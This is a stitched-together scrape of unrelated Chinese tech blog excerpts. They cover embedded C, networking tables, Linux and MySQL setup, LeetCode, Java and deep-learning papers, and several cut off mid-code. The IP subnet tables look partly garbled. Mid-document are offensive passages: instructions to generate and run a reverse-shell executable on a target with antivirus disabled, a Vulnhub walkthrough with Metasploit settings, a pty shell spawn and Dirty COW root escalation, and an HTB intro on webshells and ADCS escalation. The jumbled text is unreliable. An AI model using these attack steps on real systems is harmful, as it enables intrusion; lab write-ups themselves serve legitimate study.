二、相关HAL库的配置 时钟配置方面不再重复,同上篇文章,后期有更新再加入。
补充一下关于调试的配置,根据自己的配置来选择。建议选择双线模式,节省引脚。
1.模式选择 由图可知,应该配置为输入上拉模式,IO口检测是否为低电平来判断按键是否按下。
2.HAL库的配置 三、代码编写 注意:一定要在用户编码区编写,否则再次生成代码时会被覆盖。
if(HAL_GPIO_ReadPin(KEY0_GPIO_Port, KEY0_Pin)==0) { HAL_Delay(20); if(HAL_GPIO_ReadPin(KEY0_GPIO_Port, KEY0_Pin)==0) { while(HAL_GPIO_ReadPin(KEY0_GPIO_Port, KEY0_Pin) == 0); HAL_GPIO_TogglePin(LED0_GPIO_Port,LED0_Pin); } } 不用延迟的方法,欢迎交流和指正:
static unsigned char log=0; switch(log) { case 0: { if(HAL_GPIO_ReadPin(KEY0_GPIO_Port, KEY0_Pin)==0)log=1; }break; case 1: { if(HAL_GPIO_ReadPin(KEY0_GPIO_Port, KEY0_Pin)==0) { log=2;HAL_GPIO_TogglePin(LED0_GPIO_Port,LED0_Pin); } else log=0; }break; case 2: { if(HAL_GPIO_ReadPin(KEY0_GPIO_Port, KEY0_Pin)==1)log=0; }break; }
题目 有一个长度为 n n n 的 a a a 数组。
给定一个长度为 n ( n − 1 ) 2 \frac{n(n-1)}{2} 2n(n−1) 的 b 数组,由 min ( a i , a j ) ( 1 ≤ i < j ≤ n ) \min({a_i, a_j})(1\leq i \lt j \leq n) min(ai,aj)(1≤i<j≤n) 组成。
给定 b b b 数组,还原出一组可能的 a a a 数组。
思路 我的思路貌似是全网最独特的?
首先 a a a 数组的顺序无关紧要,这很显然,因为 min 具有交换律。
其次我们可以发现一个很有用的性质:如果 a a a 数组中的所有元素都不同,那么若有一个数字 x x x 在 b b b 中出现了 c c c 次,则 a a a 数组中比 x x x 大的数就有 c c c 个。
. ____ _ __ _ _ /\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \ ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \ \\/ ___)| |_)| | | | | || (_| | ) ) ) ) ' |____| .__|_| |_|_| |_\__, | / / / / =========|_|==============|___/=/_/_/_/ :: Spring Boot :: (v2.7.8) 2023-08-09 18:06:08.087 INFO 10568 --- [ main] com.
一、A、B、C三类地址 可用地址范围备注A类1.0.0.1-126.255.255.254B类128.1.0.1-191.255.255.254C类192.0.1.1-223.255.255.254D类224.0.0.1-239.255.255.254D类为多播地址 说明:
1. 每一个地址都是用网络位+主机位组成的。
2. 全0的和全1的网络位和主机位都要去掉。
二、私网地址和保留地址 地址段掩码起始地址结束地址备注10.0.0.0/8255.0.0.010.0.0.010.255.255.255A类地址中的私网地址100.64.0.0/10100.64.0.0100.127.255.255运营商级NAT使用的私有地址。处于A类地址中127.0.0.0/8127.0.0.0127.255.255.255本机回环地址。处于A类地址中169.254.0.0/16169.254.0.0169.254.255.255Windows获取不到DHCP地址时,自动分配此类地址。处于B类地址中172.16.0.0/12255.240.0.0172.16.0.0172.31.255.255B类地址中的私网地址。反向掩码: 0.15.255.255
192.168.0.0/16255.255.0.0192.168.0.0192.168.255.255C类地址中的私网地址255.255.255.255/32广播地址 三、Internet地址及计算方法 在A、B、C三类地址中将私网地址和保留地址去掉,就是Internet地址。
以计算A类地址中的Internet地址为例:
从第一个IP 1.0.0.1开始计算。使用子网掩码计算器”IPSubnetter v1.2”,在主机IP处,输入1.0.0.1。然后调节掩码滑块,注意观察下面的“当前主机范围“,发现当掩码位为8位时(即255.0.0.0),主机范围为1.0.0.1-1.255.255.254。如果掩码位为7位时,主机范围是从0开始,不合法,如果掩码位为9位时,主机范围最大才1.127.255.254,不能覆盖范围最大。紧接着上面的最大主机范围,再输入2.0.0.1,发现当掩码位为7位时(即254.0.0.0),主机范围覆盖最大,为2.0.0.1-3.255.255.254。再紧接着上面的最大主机范围,再输入4.0.0.1…………依次类推,把10.0.0.0-10.255.255.254排除。最后就得出A类地址的Internet地址段表。 A类地址Interet地址段
主机范围地址段备注1.0.0.1-1.255.255.2541.0.0.0/82.0.0.1-3.255.255.2542.0.0.0/74.0.0.1-7.255.255.2544.0.0.0/68.0.0.1-9.255.255.2548.0.0.0/7排除10.0.0.0-10.255.255.25511.0.0.1-11.255.255.25411.0.0.0/812.0.0.1-15.255.255.25412.0.0.0/616.0.0.1-31.255.255.25416.0.0.0/432.0.0.1-63.255.255.25432.0.0.0/364.0.0.1-127.255.255.25464.0.0.0/2 B类地址Internet地址段
主机范围地址段备注128.0.0.1-159.255.255.254128.0.0.1/3160.0.0.1-167.255.255.254160.0.0.1/4168.0.0.1-168.255.255.254168.0.0.1/8排除169.254.0.0-169.254.255.255169.0.0.1-169.127.255.254169.0.0.1/9169.128.0.1-169.191.255.254169.128.0.1/10169.192.0.1-169.223.255.254169.192.0.1/11169.224.0.1-169.239.255.254169.224.0.1/12169.240.0.1-169.247.255.254169.240.0.1/13169.248.0.1-169.251.255.254169.248.0.1/14169.252.0.1-169.253.255.254169.252.0.1/15169.255.0.1-171.255.255.254169.255.0.1/6172.32.0.1-172.63.255.254172.32.0.1/11排除172.16.0.0-172.31.255.255172.64.0.1-172.127.255.254172.64.0.1/10172.128.0.1-172.255.255.254172.128.0.1/9173.0.0.1-173.255.255.254173.0.0.1/8174.0.0.1-175.255.255.254174.0.0.1/7176.0.0.1-191.255.255.254176.0.0.1/4 C类地址Internet地址段
主机范围地址段备注192.0.0.0/9192.192.0.0/10192.128.0.0/11排除192.168.0.0-192.168.255.255192.176.0.0/12192.160.0.0/13192.172.0.0/14192.170.0.0/15192.169.0.0/16193.0.0.0/8194.0.0.0/7196.0.0.0/6200.0.0.0/5208.0.0.0/4
2023电赛E题简明设计思路、总结及参加电赛的建议 电赛题目:运动目标控制与自动追踪系统
1、硬件选型
主控 选择的是STC32G,该主控是提前为电赛准备的,此次题目并未限制主控芯片,因此继续使用该主控。
执行机构 选用42步进电机。此次题目对于精度要求极其高,步进电机相比于舵机等更符合要求。(同时也加入了磁编码器)同时题目对于扭矩要求不高,因此选用42步进电机最为合适。(最重要的是提前准备的步进电机就是这个)
步进电机驱动 a4988步进电机驱动模块。小巧,使用方便,且适配此前为电赛准备的主控板。
红绿激光笔 无要求,淘宝任意购买。
摄像头 K210。提前准备的是这个,听说openmv效果更好。
2、各题目设计思路
2.1第一问思路
设计要求:设置运动目标位置复位功能。执行此功能,红色光斑能从屏幕任意位置回到原点。光斑中心距原点误差≤2cm。
当开始此任务前,光点在屏幕中心;当开始此任务后,让电机失能,转动步进电机,同时用磁编码器记录转动脉冲。当按下复位按键,电机利用磁编码器记录数据返回原点。
2.2第二问思路
设计要求:启动运动目标控制系统。红色光斑能在 30 秒内沿屏幕四周边线顺时针移动一周,移动时光斑中心距边线距离≤2cm。
利用反正切函数,将屏幕坐标同步进电机脉冲数联系起来。如图2,位移与角度图。对于步进电机,脉冲数对应着固定角度,以此将步进电机的脉冲同位移联系上。(对于该方案,设计的结构最好让激光笔高度为30cm,即激光能打在屏幕正中央)
图2 位移与角度关系
float ANG_X,ANG_Y; if(Spd>100) Spd=100; if(Spd<1) Spd=1; ANG_X = atan(X/1000)*1528; //换算成电机脉冲数 ANG_Y = atan(Y/1000)*1528; //换算成电机脉冲数 motor_go((int)ANG_X,(int)ANG_Y,Spd); 此时,很多同学都已经明白了,可以直接写死这段代码。由于是铅笔画的框,摄像头根本拍不到,因此基本方法都是直接写死吧。
2.3第三问思路
设计要求:用约 1.8cm 宽的黑色电工胶带沿 A4 纸四边贴一个长方形,构成 A4 靶
纸。将此 A4 靶纸贴在屏幕自定的位置。启动运动目标控制系统,红色光斑能在
30 秒内沿胶带顺时针移动一周。超时不得分,光斑完全脱离胶带一次扣 2 分,
连续脱离胶带移动 5cm 以上记为 0 分。
这一问也可以直接写死,或者利用第四问方法。
2.4第四问思路
设计要求:将上述 A4 靶纸以任意旋转角度贴在屏幕任意位置。启动运动目标控制系统,要求同(3)。
执行该任务,需要提前让摄像头开始识别数据,采集到矩形四个角的坐标值。因题目要求需要顺时针转,因此对于采集到的数据采用排序算法,算出每一步需要走的坐标点。
2.5第五、六问思路
(5)设计要求:运动目标位置复位,一键启动自动追踪系统,控制绿色光斑能在 2 秒内追踪红色光斑,追踪成功发出连续声光提示。此时两个光斑中心距离应≤3cm。
文章结构 1. Linux 如何设置开机自启动方式1,如果是 CentOS6 就用 chkconfig(推荐)方式2,如果是CentOS7就用systemctl(推荐) 2. 常见服务的开机自启动脚本MySQL 服务Redis 服务Nacos 服务Sentinel 服务其他服务 1. Linux 如何设置开机自启动 在 /etc/rc.local 脚本中写启动命令,是不推荐使用,可能会无效,禁止使用禁止使用禁止使用!!!
方式1,如果是 CentOS6 就用 chkconfig(推荐) 编写脚本关键内容介绍:
Provides: redis_6379 指定了服务的名称
chkconfig: 2345 20 80
2345 指服务运行级别,一般的,就固定为 2345 就好
20 指定该服务开机启动优先级,值越小越先启动;80指定该服务关机停止优先级,值越小越先关闭;对于有依赖关系的服务注意设置该值的大小
以 redis 服务为例,使用步骤如下:
在 /etc/init.d 目录编写好脚本 推荐脚本名称或服务名称用:关键字+端口号
cd /etc/init.d # 编辑服务自启动脚本文件 vim redis_6379 #!/bin/sh # Provides: redis_6379 # 指定服务的名称 # chkconfig: 2345 20 80 # 指定服务的缺省启动的运行级、启动优先级、停止优先级 # descriptiong: redis服务的开机启动脚本 # 指定服务的描述 # # 以上是脚本的头,下面写自己的内容 case "
文章目录 1. 查看Linux当前时区2. 获取时区环境变量TZ的值3. 配置环境变量TZ的值4. 重新加载配置并检验是否生效 TZ 是time zone的缩写,是Linux系统上的一个环境变量,该变量决定了使用哪个时区。本文描述了如何正确的修改Linux系统的时区和同步正确的北京时间。 1. 查看Linux当前时区 你可以使用如下命令非常容易地就查看到Linux系统的当前时区:
# 查看当前时间是否正确 date # 查看当前的时区是否是北京 echo $TZ Asia/Tokyo # 如这个就是东京时区,很明显不是北京 # 或者用date -R查看是不是+0800 date -R Wed, 28 Jun 2023 08:13:04 +0900 # 这个一看就不是北京时间,不是+0800 2. 获取时区环境变量TZ的值 备注:其实这个步骤的所有操作都是为了获取正确的TZ值,如果你有正确的值直接配置到配置文件 /etc/profile 即可
要更改Linux系统时区首先得获知你所当地时区的TZ值,使用tzselect命令即可查看到正确的TZ值。
执行 tzselect 命令 # 选择查找时区的字符串 TZ 值 tzselect 选择大洲,亚洲 选择国家,中国 选择时区,北京 最后得到需要配置的TZ值为: TZ='Asia/Shanghai' 3. 配置环境变量TZ的值 每个Linux系统的登录用户登录时都会读取 /etc/profile 文件,所以选择在该文件的末尾添加TZ环境变量
备注:如果知道正确的TZ值,那么是不需要去获取TZ的值了
# 配置TZ值 vim /etc/profile 在配置文件最后一行添加内容『TZ='Asia/Shanghai'; export TZ』,如下图所示:
4. 重新加载配置并检验是否生效 上面步骤配置的TZ值只针对新的登录会话才生效,要想我们这个会话生效需要重新加载一次配置文件,如下:
安装Mysql5.7详细教程,注意细节~ 1.获取安装包 wget http://dev.mysql.com/get/mysql57-community-release-el7-11.noarch.rpm 2.开始安装 yum localinstall mysql57-community-release-el7-11.noarch.rpm 看到下面这个场景:👇
3.安装mysql-community-server yum install mysql-community-server 如果出现下图的错误,请执行检查:
检查mysql源是否安装成功:
yum repolist enabled | grep "mysql.*.community.*" 如果有类似上图这些信息则表示成功的,如果没有,请重新执行第二步。
再依次执行下面两条语句:
yum module disable mysql yum -y install mysql-community-server 这里有问题的可以执行下下面这个语句:(没问题的可以不执行)
rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022 yum clean packages 如果安装过程出现mariadb冲突,可参考下面这篇文章解决:
https://blog.csdn.net/dietime1943/article/details/127636430
4.启动MySQL systemctl start mysqld.service 5.查看状态 systemctl status mysql.service # 如果出现如下报错,请换成 service mysqld status 这条命令 Unit mysql.service could not be found. 看到类似下图表示成功:
6.设置开机启动 systemctl enable mysqld systemctl daemon-reload 7.查看开机启动状态 systemctl list-unit-files | grep mysqld 如下图,表示设置成功:
数组理论基础,
704. 二分查找,
左闭右闭法:判断边界的时候把边界带入进去试试
Time: O(logn)
Space: O(1)
class Solution: def search(self, nums: List[int], target: int) -> int: left = 0 right = len(nums) - 1 while left <= right: mid = (left + right) // 2 if nums[mid] < target: left = mid + 1 elif nums[mid] > target: right = mid - 1 else: return mid return -1 27. 移除元素 双指针:slow, fast
用fast来移除
Time: O(n) Space (O(1))
下载地址 https://pan.baidu.com/s/1OzsPz8vzEunZW35Oqdq2aw?pwd=raf2 提取码:raf2 使用 1、启动服务 2、客户端连接服务,可以是linux\windows 3.新建监听器 4、生成反弹shell 5、在目标机器上执行生成的exe文件,靶机可以ping同攻击机,关掉靶机杀毒
机器名称:Sumo_Sun*
难度:初级
测试:VMware Workstation 15.x Pro以上
目标: 获取根外壳,即(root@localhost:~#),然后在 /root 下获取标志)。
下载链接:https://download.vulnhub.com/sumo/Sumo.zip
1.内网渗透 先利用namp扫描整个网段,找出靶机的IP为192.168.179.117
2.端口扫描 扫描所有开放的端口,找出的开放端口为80,22
根据对应的端口,找到可能存在的漏洞,没发现漏洞
nmap --script=vuln -p80 192.168.179.117 3.扫描指纹 要下载插件扫描指纹信息,用kali自带的whatweb插件,apache版本为2.2.22
4.目录扫描 通过dirb遍历一下其可能存在的站点,发现了三个站点,但是排查完发现没什么用
5.漏洞扫描 nikto 扫描网站漏洞,发现了一个漏洞
nikto -h http://192.168.179.117 用msf查找一下漏洞,发现有几个模块可以利用
设置参数,利用模块进行攻击,需要设置的参数
set rhosts 192.168.179.117(目标主机) set TARGETURI /cgi-bin/test set lhost 192.168.179.131(本机) set lport 4444(监听端口) 设置完参数后run进行攻击,如图说明攻击成功,当前账户为www-data,由于没有回显,利用python构造一个回显
python -c 'import pty; pty.spawn("/bin/bash")' 6.漏洞提权 Ubuntu12.04 可以使用脏牛进行内核提权,searchsploit查找dirtycow漏洞,将漏洞源码40839.c复制到当前的文件夹下
将40839.c重命名dirty.c到html目录下,开启apache2功能,目的是让攻击机能够下载dirty.c
在攻击机上通过wget下载dirty.c,然后给文件提权
使用 GCC 编译器编译名为 "dirty.c" 的源代码文件,并生成可执行文件 "dirty",执行文件dirty,密码设置为123456,用户名为firefart
切换到firefart用户下,密码为123456,然后切换到主目录下,ls发现文件root.txt,cat一下发现flag
7.总结 该漏洞环境主要是复现脏牛漏洞dirty cow,先通过msf查找漏洞后进行利用,再用dirty cow进行提权
0x01 简介 Anubis是由作者4ndr34z在HackTheBox平台上设计,难度相对较高的靶场。该靶场知识点内容涵盖上传ASP webshell、突破容器、然后在
jamovi 中利用 XSS漏洞获取用户帐户并最终针对 ADCS(Active Directory 证书服务)进行权限升级的利用的真实场景。
靶场知识链条 1.1信息收集
Ønmap
1.2目录枚举
Ø目录/文件枚举
Ø带有 VBScript 注入的联系页面
1.3渗透测试
Ø联系页面上的 ASP Webshell
Ø打破 Windows 容器
Ø跨站脚本漏洞CVE-2021-28079 – Jamovi <= 1.16.18
1.4权限提升
·ADCS 域升级(认证二手研究论文)
·重新配置 Web 模板
·注册管理员以获得证书
·使用 Rubeus 揭示管理员的 NTLM 哈希
·祝贺拿到root用户flag文件
让我们开始
0x02 网络扫描 分配给这台机器的 IP 是 10.129.95.208。Nmap 扫描显示一个网站在端口 443 上运行。首先在我们的 hosts 文件中添加了该网站
SSL 证书中提到的通用名称,用于 DNS 路由。(如图2.1所示)nmap -sV -sC -Pn 10.129.95.208echo “10.129.95.208 www.windcorp.htb” >> /etc/hosts
图2.1 nmap端口扫描
系列文章链接
参考数据集讲解:数据基础:多维时序数据集简介
论文一:2022 Anomaly Transformer:异常分数预测
论文二:2022 TransAD:异常分数预测
论文三:2023 TimesNet:基于卷积的多任务模型
论文链接:TimesNet.pdf
代码库链接:https://github.com/thuml/Time-Series-Library
项目介绍:https://github.com/thuml/TimesNet
参考作者解读:ICLR2023 | TimesNet: 时序基础模型,预测、填补、分类等五大任务领先
本文和Anomaly Transformer都是清华大学的团队,也是同一个作者。本文研究基于深度学习异常检测有两个背景:
基于RNN或者CNN的算法,很难捕捉到时序数据的长期以来关系,因此都只能针对局部窗口内的数据进行建模,这个观点和TransAD是一样的;近年来transformer表现出了提取时序数据长期依赖关系(如:周期性、季节性等)的优势,因此能够基于transformer进行依赖关系提取,但是简单的分散点位很难作为这种长序列依赖关系的强有力的表征,而且时序数据的周期性会受到多种周期性因素(天气、节假日等)的影响,因此需要考虑如何处理这种多周期变化带来的影响; 基于上述两点思考,作者提出了TimesNet这样的模型架构,具体创新点表现如下:
一维到二维的时序数据转换:将一维的时间序列转换成二维的数据表征,同时对时序数据周期内(连续邻近点位变化)和周期间(长期规律性变化)的变化进行建模;对于一个长度为 T T T、通道数为 C C C的一维时间序列 X 1 D ∈ R T ∗ C X_{1D}\in \mathbb R^{T*C} X1D∈RT∗C,对于长时间序列而言,其周期性可以通过傅立叶变换计算得到: A = A v g ( A m p ( F F T ( X 1 D ) ) ) \bold A=Avg(Amp(FFT(X_{1D}))) A=Avg(Amp(FFT(X1D))) f 1 , . . . f k = a r g f ∗ ∈ { 1 , .
前言:一般主线程(UI线程)中是不能执行创建数据这些操作的,因为等待时间长。所以协程就是为了解决这个问题出现。
第一步:在模块级的build.gradle中引入
id 'com.android.application' // room id 'kotlin-android' id 'kotlin-android-extensions' id 'kotlin-kapt' // 现在的room implementation "androidx.room:room-runtime:2.2.5" kapt "androidx.room:room-compiler:2.2.5" // Kotlin 使用 kapt implementation "androidx.room:room-ktx:2.2.5"//Coroutines support for Room 协程操作库 // lifecycle,与room一起使用的 implementation 'androidx.lifecycle:lifecycle-extensions:2.2.0' implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.2.0' 好了前期工作ok,正式编写room吧!
第二步:创建表实体
第三部:编写对应的Dao接口
第四步:创建数据库信息
第五步:在activity中使用
ok,后续有使用再添加
我是分界线----------------------------------------------------------------------------------------------
背景: 一天早上睡觉醒来,翻了翻手机,发现7点时一个C端服务出现了短暂的报警,通过日志发现,大量的未知请求,有的返回了404,而/error请求http响应码返回了500,很疑惑,按道理服务里没有这个接口应该返回404啊,这个接口有什么特殊之处?于是就调研了一下。
通过排查: 原来springboot中有个BasicErrorController类,这个类有个默认的/error接口,
当我们调用没有定义的接口时,springboot会自动调用error接口将一个自定义的页面返回给用户,状态码是404
而我们直接调用这个error接口时,由于我们的服务是有默认的error接口的,所以不是404,而由于我们调用时没有传合适的参数,springboot执行逻辑时报错,返回了500状态码。注意:此时我们自定义的ExceptionHandlerAdvice全局异常捕获处理器是捕获不到异常的,因为springboot没有抛出异常,只是返回了500状态码,于是就出现了上边的问题。如何解决呢?如何在这种情况下不返回5xx呢?
解决方案一: 按照BasicErrorController类写一个类似的ServerErrorController,接口名改为/server/error,覆盖BasicErrorController的/error接口,如下:
import org.springframework.boot.autoconfigure.web.ErrorProperties; import org.springframework.boot.autoconfigure.web.ServerProperties; import org.springframework.boot.autoconfigure.web.servlet.error.AbstractErrorController; import org.springframework.boot.web.error.ErrorAttributeOptions; import org.springframework.boot.web.servlet.error.ErrorAttributes; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.web.HttpMediaTypeNotAcceptableException; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.util.Collections; import java.util.Map; /** * 自定义的异常处理控制器,用于覆盖默认的BasicErrorController; **/ @Controller @RequestMapping("/server/error") public class ServerErrorController extends AbstractErrorController { private final ErrorProperties errorProperties; public ServerErrorController(ErrorAttributes errorAttributes, ServerProperties serverProperties) { super(errorAttributes); this.errorProperties = serverProperties.getError(); } @RequestMapping( produces = {"
新建标签页 (gitee.com)尹相辉 (yinxianghui66) - Gitee.com新建标签页 (gitee.com)
文章目录 文章目录
一、Linux常见命令
1.ls
2.cd 目录名 3.pwd
4.touch 文件名
5.echo 字符串->目标文件
6.cat 文件名
7.man
8.vim 文件名
9.mkdir 目录名
10.rm 文件名
11.mv 源文件/目录 目标文件/目录 12.cp 源文件/目录 目标文件/目标目录
13.grep 参数(字符串)文件名
14.ps 参数
15.netstat 参数
一、Linux常见命令 1.ls 列出当前目录/指定目录的所有文件
其中 蓝色代表目录 白色代表普通文件 其中 /代表根目录 用root 用户的home目录就是/root 也就是咱登陆后默认在的目录 所以结果一样
ls -l 按照列表的方式排列 等价于ll 2.cd 目录名 cd ..:返回上级目录
cd~:进入用户家目录
cd-:返回最近访问目录
切换目录 cd后如果不加任何目录 将会回到home目录
3.pwd 显示当前完整路径
4.touch 文件名 创建一个空的文件 大小为0 ouch命令参数可更改文档或目录的日期时间,包括存取时间和更改时间,或者新建一个不存在的 文件。
Object 类 java.lang.Object 1. 所有的类直接或者间接继承父类 Java认为所有的对象都具备一些基本的共性内容 这些内容可以不断的向上抽取 最终就抽取到了一个最顶层的类中(Object) 该类中定义的就是所有对象都具备的功能 2. 具体方法: boolean equals(Object obj): 用于比较两个对象是否相等 其实内部比较的就是两个对象地址 String toString(): 将对象变成字符串 默认返回的格式: 类名@哈希值 = getClass().getName() + '@' + Integer.toHexString(hashCode()) 为了对象对应的字符串内容有意义 可以通过复写 建立该类对象自己特有的字符串表现形式 Class getClass(): 获取任意对象运行时的所属字节码文件对象 int hashCode(): 返回该对象的哈希码值 支持此方法是为了提高哈希表的性能 通常equals, toString, hashCode在应用中都会被复写 建立具体对象的特有的内容 方法声明功能介绍void wait()用于使得线程进入等待状态,直到其它线程调用notify()或notifyAll()方 法void wait(long timeout)用于进入等待状态,直到其它线程调用方法或参数指定的毫秒数已经过 去为止void notify()用于唤醒等待的单个线程void notifyAll()用于唤醒等待的所有线程 String 字符串类 方法声明功能介绍String()使用无参方式构造对象得到空字符序列String(byte[] bytes, int offset, int length)使用bytes数组中下标从offset位置开始的length个字节来 构造对象String(byte[] bytes)使用bytes数组中的所有内容构造对象String(char[] value, int offset, int count)使用value数组中下标从offset位置开始的count个字符来构 造对象String(char[] value)使用value数组中的所有内容构造对象String(String original)根据参数指定的字符串内容来构造对象,新创建对象为参 数对象的副本 方法声明功能介绍String toString()返回字符串本身byte[] getBytes()将当前字符串内容转换为byte数组并返回char[] toCharArray()用于将当前字符串内容转换为char数组并返回char charAt(int index)方法charAt用于返回字符串指定位置的字符。int length()返回字符串字符序列的长度boolean isEmpty()判断字符串是否为空int compareTo(String anotherString)用于比较调用对象和参数对象的大小关系int compareToIgnoreCase(String str)不考虑大小写,也就是’a’和’A’是相等的关系String concat(String str)用于实现字符串的拼接boolean contains(CharSequence s)用于判断当前字符串是否包含参数指定的内容String toLowerCase()返回字符串的小写形式String toUpperCase()返回字符串的大写形式String trim()返回去掉前导和后继空白的字符串boolean startsWith(String prefix)判断字符串是否以参数字符串开头boolean startsWith(String prefix, int toffset)从指定位置开始是否以参数字符串开头boolean endsWith(String suffix)判断字符串是否以参数字符串结尾boolean equals(Object anObject)用于比较字符串内容是否相等并返回int hashCode()获取调用对象的哈希码值boolean equalsIgnoreCase(String anotherString)用于比较字符串内容是否相等并返回,不考虑大小写, 如:'A’和’a’是相等int indexOf(int ch)用于返回当前字符串中参数ch指定的字符第一次出现的 下标int indexOf(int ch, int fromIndex)用于从fromIndex位置开始查找ch指定的字符int indexOf(String str)在字符串中检索str返回其第一次出现的位置,若找不到 返回-1int indexOf(String str, int fromIndex)表示从字符串的fromIndex位置开始检索str第一次出现 的位置int lastIndexOf(int ch)用于返回参数ch指定的字符最后一次出现的下标int lastIndexOf(int ch, int fromIndex)用于从fromIndex位置开始查找ch指定字符出现的下标int lastIndexOf(String str)返回str指定字符串最后一次出现的下标int lastIndexOf(String str, int fromIndex)用于从fromIndex位置开始反向搜索的第一次出现的下 标。String substring(int beginIndex, int endIndex)返回字符串中从下标beginIndex(包括)开始到 endIndex(不包括)结束的子字符串 Stringsubstring(int beginIndex)返回字符串中从下标beginIndex(包括)开始到字符串结尾 的子字符串 StringBuilder 类 方法声明功能介绍StringBuilder()使用无参方式构造对象,容量为16StringBuilder(int capacity)根据参数指定的容量来构造对象,容量为参数指定大小StringBuilder(String str)StringBuilder(String str) 根据参数指定的字符串来构造对象,容量为:16+字符串长度 方法声明功能介绍int capacity()用于返回调用对象的容量int length()用于返回字符串的长度,也就是字符的个数StringBuilder insert(int offset, String str)插入字符串并返回调用对象的引用,就是自 己。StringBuilder append(String str)追加字符串StringBuilder deleteCharAt(int index)将当前字符串中下标为index位置的单个字符 删除StringBuilder delete(int start,int end)删除字符串StringBuilder replace(int start,int end, String str)替换字符串StringBuilder reverse()字符串反转 java.
Ubuntu 18.04安装Visual Studio Code的方法_李71~李先森的博客-CSDN博客
Step1:update apt,安装依赖项:
sudo apt update
sudo apt install gnupg2 software-properties-common apt-transport-https wget
Step2:使用wget命令导入Microsoft GPG key:
wget -q https://packages.microsoft.com/keys/microsoft.asc -O- | sudo apt-key add -
Step3:激活Visual Studio Code repository:
sudo add-apt-repository "deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main"
在add-apt-repository这步,因为当前系统是python3.7的环境,有可能会报错:
ImportError: cannot import name '_gi' from 'gi' (/usr/lib/python3/dist-packages/gi/__init__.py)
在网上查了下修复的方法:
sudo ln -s /usr/lib/python3/dist-packages/gi/_gi.cpython-{36m,37m}-x86_64-linux-gnu.so
Step4:当apt仓库激活后,就可以通过用apt install命令安装Visual Studio Code的最新版本:
sudo apt update
sudo apt install code
安装完成后就可以用code命令打开Visual Studio Code。
安装vscode插件
我们需要按照的插件有下面几个:
前言:当你刚开始使用idea的时候,他会默认选用你本地C盘的maven仓库,而且随着maven使用的越多 C盘就会出现爆满的情况,这个时候我们需要自己下载一个maven仓库或者是把C盘的仓库移到其他盘里去。
这里我提供了两个不同版本的maven仓库,根据自己idea版本高低选择,我的是20年的所以用的3.6.3就够了,高了就用不了了。
百度网盘 请输入提取码 提取码:0228
然后就是每次开启一个新项目的时候,都要自己手动的去修改仓库地址相当麻烦,那么重点来了怎么给idea设置默认maven仓库呢 如下。
一、操作步骤 1.当开着一个项目的时候点击左上角 FIle-->Close Project 回到初始页面。
2.点击 Configure-->Settings。
3.根据步骤修改maven仓库就行啦!
下次启动一个新项目就不用一直去该仓库啦省事多了。
一、Sscanf 1.%星号s 或者 %星号d:忽略字符串或者是数字
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> // 1、%*s或%*d void test1() { char *str = "1234abcd"; char buf[1024] = {0}; sscanf(str, "%*d%s", buf); printf("%s\n", buf); } void test2() { char *str = "abcd1234"; char buf[1024] = {0}; // sscanf(str,"%*s%s",buf); // 此做法会忽略掉所有字符,达不到预期效果 // 另外忽略处理过程遇到空格或者\t会结束忽略 sscanf(str, "%*[a-z]%s", buf); //注,即使用这个方法也没法保证1234开头的串达到效果,必须以字母开头才行 printf("%s\n", buf); } int main() { test1(); test2(); system("pause"); return 0; } 2.%widths:保留定长
void test3() { char *str = "
step by step.
题目: 给定一个二叉树 root ,返回其最大深度。
二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。
示例 1:
输入:root = [3,9,20,null,null,15,7] 输出:3 示例 2:
输入:root = [1,null,2] 输出:2 代码: /** * Definition for a binary tree node. * public class TreeNode { * int val; * TreeNode left; * TreeNode right; * TreeNode() {} * TreeNode(int val) { this.val = val; } * TreeNode(int val, TreeNode left, TreeNode right) { * this.val = val; * this.
step by step. 题目:(超级基础的题) 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例 1:
输入:l1 = [1,2,4], l2 = [1,3,4] 输出:[1,1,2,3,4,4] 示例 2:
输入:l1 = [], l2 = [] 输出:[] 示例 3:
输入:l1 = [], l2 = [0] 输出:[0] 代码: /** * Definition for singly-linked list. * public class ListNode { * int val; * ListNode next; * ListNode() {} * ListNode(int val) { this.val = val; } * ListNode(int val, ListNode next) { this.
下载监控驱动包
下载ibm_data_server_driver_for_odbc_cli.tar.gz(10.5版本),解压到zabbix_proxy目录:
# tar -xvf ibm_data_server_driver_for_odbc_cli.tar.gz -C /opt/itump/zabbix_proxy
修改目录权限
# chmod -R 775 clidriver/
# chown -R zabbix:zabbix clidriver/
修改odbc配置,
# vim /etc/odbcinst.ini
增加如下内容:
# Driver from the DB2-odbc package
# Setup from the unixODBC package
[DB2]
Description = ODBC for DB2
Driver = /opt/itump/zabbix_proxy/clidriver/lib/libdb2o.so
DriverUnicodeType=1
改配置文件以注册驱动:
# vim /etc/ld.so.conf.d/db2-clidriver.conf
增加如下内容:
/opt/itump/zabbix_proxy/clidriver/lib
之后把配置文件放到统一的位置便于管理:
# cd /opt/itump/zabbix_proxy/clidriver/cfg
# cp -a db2cli.ini.sample /opt/itump/zabbix_proxy/etc/db2cli.ini
# ln -s /opt/itump/zabbix_proxy/etc/db2cli.ini ./
# chown -R zabbix:zabbix /opt/itump/zabbix_proxy
SKNet(Selective Kernel Network)是一种用于图像分类和目标检测任务的深度神经网络架构,其核心创新是引入了选择性的多尺度卷积核(Selective Kernel)以及一种新颖的注意力机制,从而在不增加网络复杂性的情况下提升了特征提取的能力。SKNet的设计旨在解决多尺度信息融合的问题,使网络能够适应不同尺度的特征。
1. 核心思想 SKNet的核心思想是**通过选择性地应用不同尺度的卷积核,从而在不同层级上捕捉多尺度特征。**为了实现这一点,SKNet引入了一个选择模块,用于自适应地决定在每个通道上使用哪些尺度的卷积核。这种选择性的多尺度卷积核有助于提升特征表示的能力,使网络更具适应性和泛化能力。
2. 结构 SKNet的结构如下:
实现机制:
